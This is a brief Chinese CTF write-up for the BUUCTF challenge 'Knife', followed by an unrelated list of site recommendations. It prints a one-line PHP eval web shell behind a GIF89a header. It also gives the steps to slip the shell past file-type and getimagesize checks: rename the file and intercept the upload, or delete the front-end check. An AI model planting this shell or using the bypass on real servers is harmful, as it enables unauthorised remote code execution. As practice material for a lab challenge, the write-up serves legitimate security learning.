[极客大挑战 2019]Knife——3.20BUUCTF练习day4(2)

极客大挑战 2019Knife------3.20BUUCTF练习day4(2)

解题内容

在一个文件中输入以下内容,该文件是phtml文件(HTML嵌套PHP代码,可以绕过很多限制)但在本题中要先改文件名为2.gif然后抓包修改后缀名为phtml,因为只可以上传gif和jpg等

php 复制代码
GIF89a
<script language='php'>@eval($_POST[shell]);</script>



蚁剑连接

看了别人的wp,发现还可以删除前端校验函数,直接传phtml文件也可以


拓展

在上传的文件代码中含有GIF89a,这个是在文件前加上GIF89a来绕过PHP getimagesize的检查,来绕过文件内容头校验

PHP getimagesize(服务器端验证)

读取文件头信息,不是解析整个图片,所以效率较高

相关推荐
xierui12312344 分钟前
给内容 Agent 接平台账号前,先设计四层权限:读、写、预填、提交
人工智能·网络安全·aigc·软件工程
WWJA王文举1 小时前
FreeRTOS事件组和任务通知详解:为什么任务通知比队列更轻量?
开发语言·php
PHP实战开发录4 小时前
PHP权限系统设计为什么越改越复杂
系统架构·php·开发
Zenova EdgeOS5 小时前
工业网关重试机制:从固定间隔到指数退避的工程实战
开发语言·网络·php
Figo_Cheung6 小时前
Figo共振网络宇宙演化论(RNC) :从原初对称破缺到全息大和谐的演化路径研究
开发语言·php·量子计算
qq_297670876 小时前
第 4 篇:HTTP 和浏览器——HTTPS 不只是「把 HTTP 包一层 TLS」那么简单
网络安全·https·tls
TechWayfarer7 小时前
做IP归属地查询时总是查不准?IP纯净度检测实战:从“查归属地“到识别“脏IP“的四个维度
服务器·网络·python·tcp/ip·安全·web安全
小溪学编程8 小时前
Java InputStream 详解:从基础到实战
java·python·php
黄金龙PLUS9 小时前
SPARKLE置换算法的优缺点
算法·网络安全·密码学·哈希算法·同态加密
XR1234567889 小时前
医院基础网络改造升级选型深度解析
开发语言·网络·php